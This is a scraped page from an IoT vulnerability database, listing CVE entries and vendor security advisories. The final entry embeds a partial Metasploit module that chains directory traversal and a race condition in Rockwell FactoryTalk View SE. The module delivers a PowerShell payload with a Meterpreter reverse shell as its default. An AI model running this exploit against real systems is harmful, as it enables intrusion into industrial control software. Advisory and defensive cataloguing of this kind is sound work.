VARIoT IoT vulnerabilities database

Affected products: vendor, model and version
CWE format is 'CWE-number'. Threat type can be: remote or local
Look up free text in title and description

VAR-202006-0988 CVE-2020-14965 TP-Link TL-WR740N and TL-WR740ND Injection vulnerabilities in devices CVSS V2: 3.5
CVSS V3: 4.8
Severity: MEDIUM
On TP-Link TL-WR740N v4 and TL-WR740ND v4 devices, an attacker with access to the admin panel can inject HTML code and change the HTML context of the target pages and stations in the access-control settings via targets_lists_name or hosts_lists_name. The vulnerability can also be exploited through a CSRF, requiring no authentication as an administrator. TP-Link TL-WR740N and TL-WR740ND A device contains an injection vulnerability.Information may be obtained and tampered with. TP-Link TL-WR740N and TP-Link TL-WR740ND are both wireless routers of China's TP-Link company. There are security vulnerabilities in TP-Link TL-WR740N v4 and TL-WR740ND v4
VAR-202011-1478 CVE-2019-17566 Apache Batik  Server-side Request Forgery Vulnerability CVSS V2: 5.0
CVSS V3: 7.5
Severity: HIGH
Apache Batik is vulnerable to server-side request forgery, caused by improper input validation by the "xlink:href" attributes. By using a specially-crafted argument, an attacker could exploit this vulnerability to cause the underlying server to make arbitrary GET requests. Pillow is a Python-based image processing library. There is currently no information about this vulnerability, please feel free to follow CNNVD or manufacturer announcements. The purpose of this text-only errata is to inform you about the security issues fixed in this release. Installation instructions are available from the Fuse 7.8.0 product documentation page: https://access.redhat.com/documentation/en-us/red_hat_fuse/7.8/ 4. Bugs fixed (https://bugzilla.redhat.com/): 1665601 - CVE-2018-1000873 jackson-modules-java8: DoS due to an Improper Input Validation 1666499 - CVE-2019-14900 hibernate: SQL injection issue in Hibernate ORM 1670593 - CVE-2019-3773 spring-ws: XML External Entity Injection (XXE) when receiving XML data from untrusted sources 1670597 - CVE-2019-3774 spring-batch: XML External Entity Injection (XXE) when receiving XML data from untrusted sources 1694235 - CVE-2020-10683 dom4j: XML External Entity vulnerability in default SAX parser 1703402 - CVE-2019-2692 mysql-connector-java: privilege escalation in MySQL connector 1705975 - CVE-2020-1714 keycloak: Lack of checks in ObjectInputStream leading to Remote Code Execution 1731271 - CVE-2019-10202 codehaus: incomplete fix for unsafe deserialization in jackson-databind vulnerabilities 1738673 - CVE-2019-10219 hibernate-validator: safeHTML validator allows XSS 1764607 - CVE-2019-0210 thrift: Out-of-bounds read related to TJSONProtocol or TSimpleJSONProtocol 1764612 - CVE-2019-0205 thrift: Endless loop when feed with specific input data 1780445 - CVE-2019-19343 Undertow: Memory Leak in Undertow HttpOpenListener due to holding remoting connections indefinitely 1796617 - CVE-2020-1719 Wildfly: EJBContext principal is not popped back after invoking another EJB using a different Security Domain 1797006 - CVE-2019-12423 cxf: OpenId Connect token service does not properly validate the clientId 1799475 - CVE-2020-5398 springframework: RFD attack via Content-Disposition Header sourced from request input by Spring MVC or Spring WebFlux Application 1801149 - CVE-2019-13990 libquartz: XXE attacks via job description 1801380 - CVE-2020-7226 cryptacular: excessive memory allocation during a decode operation 1816170 - CVE-2019-12406 cxf: does not restrict the number of message attachments 1816216 - CVE-2020-11612 netty: compression/decompression codecs don't enforce limits on buffer allocation sizes 1822759 - CVE-2020-1950 tika: excessive memory usage in PSDParser 1831139 - CVE-2020-9488 log4j: improper validation of certificate with host mismatch in SMTP appender 1834512 - CVE-2020-10740 wildfly: unsafe deserialization in Wildfly Enterprise Java Beans 1848126 - CVE-2020-1960 apache-flink: JMX information disclosure vulnerability 1848433 - CVE-2020-11971 camel: DNS Rebinding in JMX Connector could result in remote command execution 1848464 - CVE-2020-11972 camel: RabbitMQ enables Java deserialization by default which could leed to remote code execution 1848465 - CVE-2020-11973 camel: Netty enables Java deserialization by default which could leed to remote code execution 1848617 - CVE-2019-17566 batik: SSRF via "xlink:href" 1850042 - CVE-2020-9489 tika-core: Denial of Service Vulnerabilities in Some of Apache Tika's Parsers 1850069 - CVE-2020-11989 shiro: spring dynamic controllers, a specially crafted request may cause an authentication bypass 1850450 - CVE-2020-11980 karaf: A remote client could create MBeans from arbitrary URLs 1852985 - CVE-2020-13692 postgresql-jdbc: XML external entity (XXE) vulnerability in PgSQLXML 1855786 - CVE-2020-11994 camel: server-side template injection and arbitrary file disclosure on templating components 1855826 - CVE-2020-14326 RESTEasy: Caching routes in RootNode may result in DoS 1864680 - CVE-2019-17638 jetty: double release of resource can lead to information disclosure 1869860 - CVE-2020-13933 shiro: specially crafted HTTP request may cause an authentication bypass 1879743 - CVE-2019-11777 org.eclipse.paho.client.mqttv3: Improper hostname validation in the MQTT library 5. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 ===================================================================== Red Hat Security Advisory Synopsis: Moderate: Red Hat Decision Manager 7.9.0 security update Advisory ID: RHSA-2020:4960-01 Product: Red Hat Decision Manager Advisory URL: https://access.redhat.com/errata/RHSA-2020:4960 Issue date: 2020-11-05 CVE Names: CVE-2019-14900 CVE-2019-17566 CVE-2020-1748 CVE-2020-1945 CVE-2020-1954 CVE-2020-2875 CVE-2020-2933 CVE-2020-2934 CVE-2020-10683 CVE-2020-10693 CVE-2020-10714 ===================================================================== 1. Summary: An update is now available for Red Hat Decision Manager. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section. 2. Description: Red Hat Decision Manager is an open source decision management platform that combines business rules management, complex event processing, Decision Model & Notation (DMN) execution, and Business Optimizer for solving planning problems. It automates business decisions and makes that logic available to the entire business. This release of Red Hat Decision Manager 7.9.0 serves as an update to Red Hat Decision Manager 7.8.1, and includes bug fixes and enhancements, which are documented in the Release Notes document linked to in the References. Security Fix(es): * hibernate: SQL injection issue in Hibernate ORM (CVE-2019-14900) * batik: SSRF via "xlink:href" (CVE-2019-17566) * Wildfly: Improper authorization issue in WildFlySecurityManager when using alternative protection domain (CVE-2020-1748) * ant: insecure temporary file vulnerability (CVE-2020-1945) * dom4j: XML External Entity vulnerability in default SAX parser (CVE-2020-10683) * hibernate-validator: Improper input validation in the interpolation of constraint error messages (CVE-2020-10693) * wildfly-elytron: session fixation when using FORM authentication (CVE-2020-10714) * cxf: JMX integration is vulnerable to a MITM attack (CVE-2020-1954) * mysql-connector-java: allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Connectors which could result in unauthorized update, insert or delete (CVE-2020-2875) * mysql-connector-java: allows high privileged attacker with network access via multiple protocols to compromise MySQL Connectors which could result in unauthorized partial DoS (CVE-2020-2933) * mysql-connector-java: allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Connectors which could result in unauthorized update, insert or delete (CVE-2020-2934) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. 3. Solution: For on-premise installations, before applying the update, back up your existing installation, including all applications, configuration files, databases and database settings, and so on. It is recommended to halt the server by stopping the JBoss Application Server process before installing this update; after installing the update, restart the server by starting the JBoss Application Server process. The References section of this erratum contains a download link (you must log in to download the update). 4. Bugs fixed (https://bugzilla.redhat.com/): 1666499 - CVE-2019-14900 hibernate: SQL injection issue in Hibernate ORM 1694235 - CVE-2020-10683 dom4j: XML External Entity vulnerability in default SAX parser 1805501 - CVE-2020-10693 hibernate-validator: Improper input validation in the interpolation of constraint error messages 1807707 - CVE-2020-1748 Wildfly: Improper authorization issue in WildFlySecurityManager when using alternative protection domain 1824301 - CVE-2020-1954 cxf: JMX integration is vulnerable to a MITM attack 1825714 - CVE-2020-10714 wildfly-elytron: session fixation when using FORM authentication 1837444 - CVE-2020-1945 ant: insecure temporary file vulnerability 1848617 - CVE-2019-17566 batik: SSRF via "xlink:href" 1851014 - CVE-2020-2934 mysql-connector-java: allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Connectors which could result in unauthorized update, insert or delete 1851019 - CVE-2020-2875 mysql-connector-java: allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Connectors which could result in unauthorized update, insert or delete 1851022 - CVE-2020-2933 mysql-connector-java: allows high privileged attacker with network access via multiple protocols to compromise MySQL Connectors which could result in unauthorized partial DoS 5. References: https://access.redhat.com/security/cve/CVE-2019-14900 https://access.redhat.com/security/cve/CVE-2019-17566 https://access.redhat.com/security/cve/CVE-2020-1748 https://access.redhat.com/security/cve/CVE-2020-1945 https://access.redhat.com/security/cve/CVE-2020-1954 https://access.redhat.com/security/cve/CVE-2020-2875 https://access.redhat.com/security/cve/CVE-2020-2933 https://access.redhat.com/security/cve/CVE-2020-2934 https://access.redhat.com/security/cve/CVE-2020-10683 https://access.redhat.com/security/cve/CVE-2020-10693 https://access.redhat.com/security/cve/CVE-2020-10714 https://access.redhat.com/security/updates/classification/#moderate https://access.redhat.com/jbossnetwork/restricted/listSoftware.html?downloadType=distributions&product=rhdm&version=7.9.0 https://access.redhat.com/documentation/en-us/red_hat_decision_manager/7.9/ 6. Contact: The Red Hat security contact is <secalert@redhat.com>. More contact details at https://access.redhat.com/security/team/contact/ Copyright 2020 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQIVAwUBX6RI8tzjgjWX9erEAQgb8g//bOAn52SE3WqFyv9Xew8jkqzxj0eO6uEf K4knKv2sOff6Kp9+PW7nBTU6+5c+ejBXEpT4BGUwlOKF6b77l0Rt/p4mfaN1ZzqA 95IjiTQ1szog0CPhTCpFqAabeenKr1fLMz8Y9+CEM4EIC8NJoKP4KdNx8m96OtjA 2gPFHGV7kSe9TZErvsicTmnBWiTfq9Nh8OUvg5hOLJ1p+O3nK6UA2kBSrs18vjyA 9QhT6D+v/ptddiRrNFq4OjgRw68BllFZpidSQD+SDZ3fEJqK5A/cVFzUBQYLVk4h azVywCt49CtT9wLxGFDeL13d24KziAoWDWVuC5kz/ERfdOzPKl+cEP8x5K1PBZgi uLp4le4n/GczjJiLVouHKsUaWQFBAQcJlOiAI6t/4j9ht1NaRd4cQEC5+ANzkjGr qm1nAub3cUszL3rdb1YVt+uJ1uWCIz6EmrfNeglWAfVLBqOeS6Ng0AtBbVQTj5qK 4J2ZujOjegc3eH3SYz2/ilc4cClpMigR6v83pAUDG/k7nMKp4b6KnDLi2YIzq4Fk nrq3scZ03u0L+4a2WOUaKtoBcRJGr8sM1w45dWPtTiEEzA1U95UT0f+zidlexQSR 6V93caKvx3mrmEUh+dly/N6IL0EHGU/YRRXhouKjd6Zx+psgcDgg7pGu3YLWtIo7 6ENlCG73lC4= =cbJe -----END PGP SIGNATURE----- -- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce . ========================================================================= Ubuntu Security Notice USN-6117-1 May 30, 2023 batik vulnerabilities ========================================================================= A security issue affects these releases of Ubuntu and its derivatives: - Ubuntu 22.10 - Ubuntu 22.04 LTS - Ubuntu 20.04 LTS - Ubuntu 18.04 LTS - Ubuntu 16.04 LTS (Available with Ubuntu Pro) - Ubuntu 14.04 LTS (Available with Ubuntu Pro) Summary: Several security issues were fixed in Apache Batik. An attacker could possibly use this to perform a cross site request forgery attack. (CVE-2019-17566, CVE-2020-11987, CVE-2022-38398, CVE-2022-38648) It was discovered that Apache Batik incorrectly handled Jar URLs in some situations. A remote attacker could use this issue to access files on the server. (CVE-2022-40146) It was discovered that Apache Batik allowed running untrusted Java code from an SVG. (CVE-2022-41704, CVE-2022-42890) Update instructions: The problem can be corrected by updating your system to the following package versions: Ubuntu 22.10: libbatik-java 1.14-2ubuntu0.1 Ubuntu 22.04 LTS: libbatik-java 1.14-1ubuntu0.2 Ubuntu 20.04 LTS: libbatik-java 1.12-1ubuntu0.1 Ubuntu 18.04 LTS: libbatik-java 1.10-2~18.04.1 Ubuntu 16.04 LTS (Available with Ubuntu Pro): libbatik-java 1.8-3ubuntu1+esm1 Ubuntu 14.04 LTS (Available with Ubuntu Pro): libbatik-java 1.7.ubuntu-8ubuntu2.14.04.3+esm1 In general, a standard system update will make all the necessary changes. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 202401-11 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - https://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: Apache Batik: Multiple Vulnerabilities Date: January 07, 2024 Bugs: #724534, #872689, #918088 ID: 202401-11 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Multiple vulnerabilities have been found in Apache Batik, the worst of which could result in arbitrary code execution. Background ========== Apache Batik is a Java-based toolkit for applications or applets that want to use images in the Scalable Vector Graphics (SVG) format for various purposes, such as display, generation or manipulation. Affected packages ================= Package Vulnerable Unaffected -------------- ------------ ------------ dev-java/batik < 1.17 >= 1.17 Description =========== Multiple vulnerabilities have been discovered in Apache Batik. Please review the CVE identifiers referenced below for details. Impact ====== Please review the referenced CVE identifiers for details. Workaround ========== There is no known workaround at this time. Resolution ========== All Apache Batik users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=dev-java/batik-1.17" References ========== [ 1 ] CVE-2018-8013 https://nvd.nist.gov/vuln/detail/CVE-2018-8013 [ 2 ] CVE-2019-17566 https://nvd.nist.gov/vuln/detail/CVE-2019-17566 [ 3 ] CVE-2020-11987 https://nvd.nist.gov/vuln/detail/CVE-2020-11987 [ 4 ] CVE-2022-38398 https://nvd.nist.gov/vuln/detail/CVE-2022-38398 [ 5 ] CVE-2022-38648 https://nvd.nist.gov/vuln/detail/CVE-2022-38648 [ 6 ] CVE-2022-40146 https://nvd.nist.gov/vuln/detail/CVE-2022-40146 [ 7 ] CVE-2022-41704 https://nvd.nist.gov/vuln/detail/CVE-2022-41704 [ 8 ] CVE-2022-42890 https://nvd.nist.gov/vuln/detail/CVE-2022-42890 [ 9 ] CVE-2022-44729 https://nvd.nist.gov/vuln/detail/CVE-2022-44729 [ 10 ] CVE-2022-44730 https://nvd.nist.gov/vuln/detail/CVE-2022-44730 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: https://security.gentoo.org/glsa/202401-11 Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org. License ======= Copyright 2024 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. https://creativecommons.org/licenses/by-sa/2.5
VAR-202006-1966 No CVE (Pwn2Own) Rockwell Automation FactoryTalk View SE RegisterEDSFiles Directory Traversal Remote Code Execution Vulnerability CVSS V2: -
CVSS V3: 9.8
Severity: CRITICAL
This vulnerability allows remote attackers to create arbitrary files on affected installations of Rockwell Automation FactoryTalk View SE. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of fileName parameter in the RegisterEDSFiles tag. The issue results in the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of SYSTEM.
VAR-202006-0920 CVE-2020-14461 ZyXEL Armor X1 WAP6806 Path Traversal Vulnerability CVSS V2: 5.0
CVSS V3: 8.6
Severity: HIGH
Zyxel Armor X1 WAP6806 1.00(ABAL.6)C0 devices allow Directory Traversal via the images/eaZy/ URI. ZyXEL Armor X1 WAP6806 is a wireless network card product of ZyXEL Corporation of Taiwan, China. The vulnerability stems from network systems or products failing to properly filter special elements in resources or file paths. An attacker could use the vulnerability to access a location outside the restricted directory
VAR-202006-1548 CVE-2020-9288 Fortinet FortiWLC Cross-Site Scripting Vulnerability CVSS V2: 3.5
CVSS V3: 5.4
Severity: MEDIUM
An improper neutralization of input vulnerability in FortiWLC 8.5.1 allows a remote authenticated attacker to perform a stored cross site scripting attack (XSS) via the ESS profile or the Radius Profile. FortiWLC Exists in a cross-site scripting vulnerability.Information may be obtained and tampered with. Fortinet FortiWLC is a wireless LAN controller from Fortinet. The vulnerability stems from the lack of correct validation of client data in WEB applications. An attacker could exploit this vulnerability to execute client code
VAR-202006-1684 CVE-2020-6644 FortiDeceptor Session deadline vulnerability in CVSS V2: 6.8
CVSS V3: 8.1
Severity: HIGH
An insufficient session expiration vulnerability in FortiDeceptor 3.0.0 and below allows an attacker to reuse the unexpired admin user session IDs to gain admin privileges, should the attacker be able to obtain that session ID via other, hypothetical attacks. FortiDeceptor Exists in a session deadline vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. Fortinet FortiDeceptor is a network threat detection platform developed by Fortinet. The platform mainly exposes cyber threats, etc. through deception techniques. There is a security vulnerability in Fortinet FortiDeceptor 3.0.0 and earlier versions. The vulnerability is caused by the fact that the session ID does not expire after the program is logged out
VAR-202006-1867 No CVE GX Works2 has a denial of service vulnerability (CNVD-2020-32342) CVSS V2: 4.9
CVSS V3: -
Severity: MEDIUM
GX Works2 is a PLC programming software. GX Works2 has a denial of service vulnerability. The attacker sends a constructed malicious data packet to cause illegal memory access to cause a denial of service, or may execute arbitrary code.
VAR-202006-1900 No CVE Denial of Service Vulnerability in Changyuan Shenrui PRS-7910 Data Gateway CVSS V2: 4.9
CVSS V3: -
Severity: MEDIUM
Changyuan Shenrui PRS-7910 Data Gateway is an Ethernet-based data gateway launched by Changyuan Shenrui Automation Automation Co., Ltd. There is a denial of service vulnerability in Changyuan Shenrui PRS-7910 data gateway. An attacker can use the vulnerability to prevent the data gateway from providing service (denial of service).
VAR-202006-1576 CVE-2020-5345 plural Dell EMC Vulnerability regarding lack of certification in products CVSS V2: 5.5
CVSS V3: 5.4
Severity: MEDIUM
Dell EMC Unisphere for PowerMax versions prior to 9.1.0.17, Dell EMC Unisphere for PowerMax Virtual Appliance versions prior to 9.1.0.17, and PowerMax OS Release 5978 contain an authorization bypass vulnerability. An authenticated malicious user may potentially execute commands to alter or stop database statistics. Dell EMC Unisphere for PowerMax is a set of graphical management tools for PowerMax storage arrays developed by Dell
VAR-202006-1575 CVE-2020-5367 plural Dell EMC Product validation vulnerabilities CVSS V2: 6.8
CVSS V3: 8.1
Severity: HIGH
Dell EMC Unisphere for PowerMax versions prior to 9.1.0.17, Dell EMC Unisphere for PowerMax Virtual Appliance versions prior to 9.1.0.17, and PowerMax OS Release 5978 contain an improper certificate validation vulnerability. An unauthenticated remote attacker may potentially exploit this vulnerability to carry out a man-in-the-middle attack by supplying a crafted certificate and intercepting the victim's traffic to view or modify a victim's data in transit. (DoS) It may be put into a state. Dell EMC Unisphere for PowerMax is a set of graphical management tools for PowerMax storage arrays developed by Dell
VAR-202007-1433 CVE-2020-12013 ICONICS Genesis64 TestQuery SQL Injection Remote Code Execution Vulnerability CVSS V2: 6.4
CVSS V3: 9.1
Severity: CRITICAL
A specially crafted WCF client that interfaces to the may allow the execution of certain arbitrary SQL commands remotely. This affects: Mitsubishi Electric MC Works64 Version 4.02C (10.95.208.31) and earlier, all versions; Mitsubishi Electric MC Works32 Version 3.00A (9.50.255.02); ICONICS GenBroker64, Platform Services, Workbench, FrameWorX Server v10.96 and prior; ICONICS GenBroker32 v9.5 and prior. The vulnerablity allows remote attackers to execute arbitrary code on affected installations of ICONICS Genesis64. Authentication is not required to exploit this vulnerability.The specific flaw exists within the processing of requests to the TestQuery endpoint of the IcoFwxServer service. The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to execute code in the context of the current process. There is a code injection vulnerability in Mitsubishi Electric MC Works64 4.02C (10.95.208.31) and previous versions and MC Works32 3.00A (9.50.255.02) version, remote attackers can use the specially crafted message to exploit this vulnerability to execute arbitrary SQL commands and leak, tamper with internal data. ** ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided
VAR-202007-0206 CVE-2020-12009 (Pwn2Own) ICONICS Genesis64 PKGX WbPackAndGoSettings Absolute Path Traversal Remote Code Execution Vulnerability CVSS V2: 5.0
CVSS V3: 7.5
Severity: HIGH
A specially crafted communication packet sent to the affected device could cause a denial-of-service condition due to a deserialization vulnerability. This affects: Mitsubishi Electric MC Works64 Version 4.02C (10.95.208.31) and earlier, all versions; Mitsubishi Electric MC Works32 Version 3.00A (9.50.255.02); ICONICS GenBroker64, Platform Services, Workbench, FrameWorX Server v10.96 and prior; ICONICS GenBroker32 v9.5 and prior. The vulnerablity allows remote attackers to execute arbitrary code on affected installations of ICONICS Genesis64. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the handling of PKGX files. When parsing the WbPackAndGoSettings element, the process does not properly validate a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. ** ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided
VAR-202007-0208 CVE-2020-12015 Unreliable data deserialization vulnerabilities in multiple MC products CVSS V2: 5.0
CVSS V3: 7.5
Severity: HIGH
A specially crafted communication packet sent to the affected systems could cause a denial-of-service condition due to improper deserialization. This issue affects: Mitsubishi Electric MC Works64 version 4.02C (10.95.208.31) and earlier, all versions; Mitsubishi Electric MC Works32 version 3.00A (9.50.255.02); ICONICS GenBroker64, Platform Services, Workbench, FrameWorX Server version 10.96 and prior; ICONICS GenBroker32 version 9.5 and prior. Several Mitsubishi Electric products contain vulnerabilities related to unreliable data deserialization.Service operation interruption (DoS) It may be put into a state. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ICONICS Genesis64. Authentication is not required to exploit this vulnerability.The specific flaw exists with the handling of serialized objects. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Mitsubishi Electric MC Works64 and MC Works32 are a set of data acquisition and monitoring system (SCADA) of Japan Mitsubishi Electric (Mitsubishi Electric) company. ** ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided
VAR-202007-0196 CVE-2020-12031 FactoryTalk View SE Buffer error vulnerability in CVSS V2: 4.6
CVSS V3: 7.8
Severity: HIGH
In all versions of FactoryTalk View SE, after bypassing memory corruption mechanisms found in the operating system, a local, authenticated attacker may corrupt the associated memory space allowing for arbitrary code execution. Rockwell Automation recommends applying patch 1126290. Before installing this patch, the patch rollup dated 06 Apr 2020 or later MUST be applied. 1066644 – Patch Roll-up for CPR9 SRx. FactoryTalk View SE Exists in a buffer error vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Rockwell Automation FactoryTalk View SE. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the parsing of project files. The issue results from the lack of proper validation of user-supplied data, which can result in a memory access past the end of an allocated object. An attacker can leverage this vulnerability to execute code in the context of the current process
VAR-202007-0207 CVE-2020-12011 (Pwn2Own) ICONICS Genesis64 VariantClear Out-Of-Bounds Access Remote Code Execution Vulnerability CVSS V2: 7.5
CVSS V3: 9.8
Severity: CRITICAL
A specially crafted communication packet sent to the affected systems could cause a denial-of-service condition or allow remote code execution. This issue affects: Mitsubishi Electric MC Works64 version 4.02C (10.95.208.31) and earlier, all versions; MC Works32 version 3.00A (9.50.255.02); ICONICS GenBroker64, Platform Services, Workbench, FrameWorX Server version 10.96 and prior; GenBroker32 version 9.5 and prior. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ICONICS Genesis64. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of indexes. The issue results from the lack of proper validation of user-supplied data, which can result in a memory access past the end of an allocated structure. An attacker can leverage this vulnerability to execute code in the context of the current process. Mitsubishi Electric MC Works64 and MC Works32 are a set of data acquisition and monitoring system (SCADA) of Japan Mitsubishi Electric (Mitsubishi Electric) company. ** ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided
VAR-202006-0322 CVE-2020-12033 Rockwell Automation FactoryTalk Services Platform Input verification vulnerability in CVSS V2: 5.8
CVSS V3: 8.8
Severity: HIGH
In Rockwell Automation FactoryTalk Services Platform, all versions, the redundancy host service (RdcyHost.exe) does not validate supplied identifiers, which could allow an unauthenticated, adjacent attacker to execute remote COM objects with elevated privileges. Rockwell Automation FactoryTalk Services Platform There is an input verification vulnerability in.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Rockwell Automation FactoryTalk View SE. Authentication is not required to exploit this vulnerability.The specific flaw exists within the AddAgent method. The issue results from a lack of authentication required to instantiate a COM object on the server. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. It provides routine services for applications, such as diagnostic information, health monitoring, and real-time data access
VAR-202007-0193 CVE-2020-12027 Rockwell Automation FactoryTalk View SE Information Disclosure Vulnerability CVSS V2: 4.0
CVSS V3: 5.3
Severity: MEDIUM
All versions of FactoryTalk View SE disclose the hostnames and file paths for certain files within the system. A remote, authenticated attacker may be able to leverage this information for reconnaissance efforts. Rockwell Automation recommends enabling built in security features found within FactoryTalk View SE. Users should follow guidance found in knowledge base articles 109056 and 1126943 to set up IPSec and/or HTTPs. FactoryTalk View SE There is an information leakage vulnerability in.Information may be obtained. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of the GetHMIProjects parameter provided to hmi_isapi.dll. The issue results from a lack of authentication required to query the server. An attacker can leverage this in conjunction with other vulnerability to execute code in the context of SYSTEM. The vulnerability stems from network system or product configuration errors during operation. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits a series of vulnerabilities to achieve unauthenticated remote code execution on the Rockwell FactoryTalk View SE SCADA product as the IIS user. The attack relies on the chaining of five separate vulnerabilities. The first vulnerability is an unauthenticated project copy request, the second is a directory traversal, and the third is a race condition. In order to achieve full remote code execution on all targets, two information leak vulnerabilities are also abused. This exploit was used by the Flashback team (Pedro Ribeiro + Radek Domanski) in Pwn2Own Miami 2020 to win the EWS category. }, 'License' => MSF_LICENSE, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module 'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'URL', 'https://www.thezdi.com/blog/2020/7/22/chaining-5-bugs-for-code-execution-on-the-rockwell-factorytalk-hmi-at-pwn2own-miami'], [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/replicant/replicant.md'], [ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/tree/master/advisories/Pwn2Own/Miami2020/replicant.md'], [ 'CVE', '2020-12027'], [ 'CVE', '2020-12028'], [ 'CVE', '2020-12029'], [ 'ZDI', '20-727'], [ 'ZDI', '20-728'], [ 'ZDI', '20-729'], [ 'ZDI', '20-730'], ], 'Privileged' => false, 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Payload' => { 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } }, 'DefaultOptions' => { 'WfsDelay' => 20 }, 'Targets' => [ [ 'Rockwell Automation FactoryTalk SE', {} ] ], 'DisclosureDate' => '2020-06-22', 'DefaultTarget' => 0 ) ) register_options( [ Opt::RPORT(80), OptString.new('SRVHOST', [true, 'IP address of the host serving the exploit']), OptInt.new('SRVPORT', [true, 'Port of the host serving the exploit on', 8080]), OptString.new('TARGETURI', [true, 'The base path to Rockwell FactoryTalk', '/rsviewse/']) ] ) register_advanced_options( [ OptInt.new('SLEEP_RACER', [true, 'Number of seconds to wait for racer thread to finish', 15]), ] ) end def send_to_factory(path) send_request_cgi({ 'uri' => normalize_uri(target_uri, path), 'method' => 'GET' }) end def check res = send_to_factory('/hmi_isapi.dll') return Exploit::CheckCode::Safe unless res && res.code == 200 # Parse version from response body # Example: Version 11.00.00.230 version = res.body.scan(/Version ([0-9\.]{5,})/).flatten.first.to_s.split('.') # Is returned version sound? unless version.empty? if version.length != 4 return Exploit::CheckCode::Detected end print_status("#{peer} - Detected Rockwell FactoryTalk View SE SCADA version #{version[0..3].join('.')}") if version[0].to_i == 11 && version[1].to_i == 0 && version[2].to_i == 0 && version[3].to_i == 230 # we know this exact version is vulnerable (11.00.00.230) return Exploit::CheckCode::Appears end return Exploit::CheckCode::Detected end return Exploit::CheckCode::Unknown end def on_request_uri(cli, request) if request.uri.include?(@shelly) print_good("#{peer} - Target connected, sending payload") psh = cmd_psh_payload( payload.encoded, payload.arch.first # without comspec it seems to fail, so keep it this way # remove_comspec: true ) # add double quotes for classic ASP escaping psh.gsub!('"', '""') # NOTE: ASP payloads are broken in newer Windows (Win 2012 R2, Win 10) so we need to use powershell # This is because the MSF ASP payload uses WScript.Shell.run(), which doesn't seem to work anymore... # If this module is not working on an older Windows version, try the below as payload: # payload = Msf::Util::EXE.to_exe_asp(generate_payload_exe) payload = %{<%CreateObject("WScript.Shell").exec("#{psh}")%>} send_response(cli, payload) # payload file is deleted automatically by the server once we win the race! elsif request.uri.include?(@proj_name) # Directory traversal: vulnerable asp file will land in the path we provide print_good("#{peer} - Target connected, sending file path with dir traversal") # Check the comments in the Infoleak 2 (project installation path) to understand why filename = "../SE/HMI Projects/#{@shelly}" send_response(cli, filename) end end def exploit # Infoleak 1 (project listing) print_status("#{peer} - Listing projects on the server") res = send_to_factory('/hmi_isapi.dll?GetHMIProjects') fail_with(Failure::UnexpectedReply, 'Failed to obtain project list. Bailing') unless res && res.code == 200 && res.body.include?('HMIProject') 